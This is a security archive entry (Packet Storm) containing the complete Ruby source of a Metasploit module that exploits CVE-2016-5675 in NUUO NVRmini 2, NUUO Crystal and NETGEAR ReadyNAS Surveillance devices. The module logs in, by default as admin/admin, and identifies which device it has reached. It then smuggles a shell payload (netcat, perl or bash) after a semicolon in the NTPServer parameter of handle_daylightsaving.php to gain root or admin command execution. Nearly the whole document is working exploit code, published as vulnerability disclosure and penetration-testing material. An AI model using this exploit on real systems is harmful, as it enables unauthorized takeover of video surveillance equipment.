NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution

2016-08-11T00:00:00
ID PACKETSTORM:138286
Type packetstorm
Reporter Pedro Ribeiro
Modified 2016-08-11T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance Authenticated Remote Code Execution',  
'Description' => %q{  
The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS Surveillance application are vulnerable  
to an authenticated remote code execution on the exposed web administration interface. An administrative  
account is needed to exploit this vulnerability.  
This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS.  
This exploit has been tested on several versions of the NVRmini 2, Crystal and the ReadyNAS Surveillance.  
It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested  
in those devices.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2016-5675'],  
['US-CERT-VU', '856152'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt'],  
['URL', 'http://seclists.org/bugtraq/2016/Aug/45']  
],  
'DefaultOptions' => { 'WfsDelay' => 5 },  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => false, # Runs as root in NVRmini 2 / Crystal, admin in ReadyNas  
'Targets' =>  
[  
[ 'Automatic', { } ],  
[ 'NUUO NVRmini 2', {  
'Payload' =>  
{  
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'netcat generic perl'  
}  
},  
}],  
[ 'ReadyNAS NETGEAR Surveillance', {  
'Payload' =>  
{  
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'netcat generic perl'  
}  
},  
}],  
[ 'NUUO Crystal', {  
'Payload' =>  
{  
'Space' => 1024, # Actually it might be the GET request length, but this is a safe value  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'bash'  
}  
},  
}],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 4 2016'))  
  
register_options(  
[  
Opt::RPORT(8081),  
OptString.new('TARGETURI', [true, "Application path", '/']),  
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),  
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),  
], self.class)  
end  
  
  
def id_target  
return target if target.name != 'Automatic'  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'])  
})  
if res && res.code == 200  
if res.body.to_s =~ /var VENDOR_NAME = "Netgear";/  
print_status("#{peer} - Identified NETGEAR ReadyNAS Surveillance as the target.")  
return targets[2]  
elsif res.body.to_s =~ /v_web_login_login_type/  
print_status("#{peer} - Identified NUUO Crystal as the target.")  
return targets[3]  
else  
print_status("#{peer} - Identified NUUO NVRMini 2 as the target.")  
return targets[1]  
end  
end  
end  
  
  
def exploit  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),  
'vars_post' => {  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD'],  
'submit' => "Login"  
}  
})  
  
if res && (res.code == 200 || res.code == 302)  
cookie = res.get_cookies  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")  
end  
  
my_target = id_target  
if my_target == targets[1]  
if payload.raw.include?("perl")  
fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or netcat payloads.")  
end  
print_status("#{peer} - Executing payload...")  
send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),  
'cookie' => cookie,  
'vars_get' => {  
'act' => "update",  
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.encoded  
}  
}, 1)  
elsif my_target == targets[2]  
if payload.raw.include?("netcat")  
fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support netcat payloads.")  
end  
# We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows  
# it up.  
print_status("#{peer} - Executing payload...")  
send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),  
'cookie' => cookie,  
'vars_get' => {  
'act' => "update",  
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw.gsub("-MIO ", "-MIO::Socket ")  
}  
}, 1)  
else  
if not payload.raw.include?("exec")  
fail_with(Failure::Unknown, "NUUO Crystal only supports bash payloads.")  
end  
print_status("#{peer} - Executing payload...")  
send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], "handle_daylightsaving.php"),  
'cookie' => cookie,  
'vars_get' => {  
'act' => "update",  
'NTPServer' => rand_text_alpha(12 + rand(8)) + ";" + payload.raw  
}  
}, 1)  
end  
handler  
end  
end  
`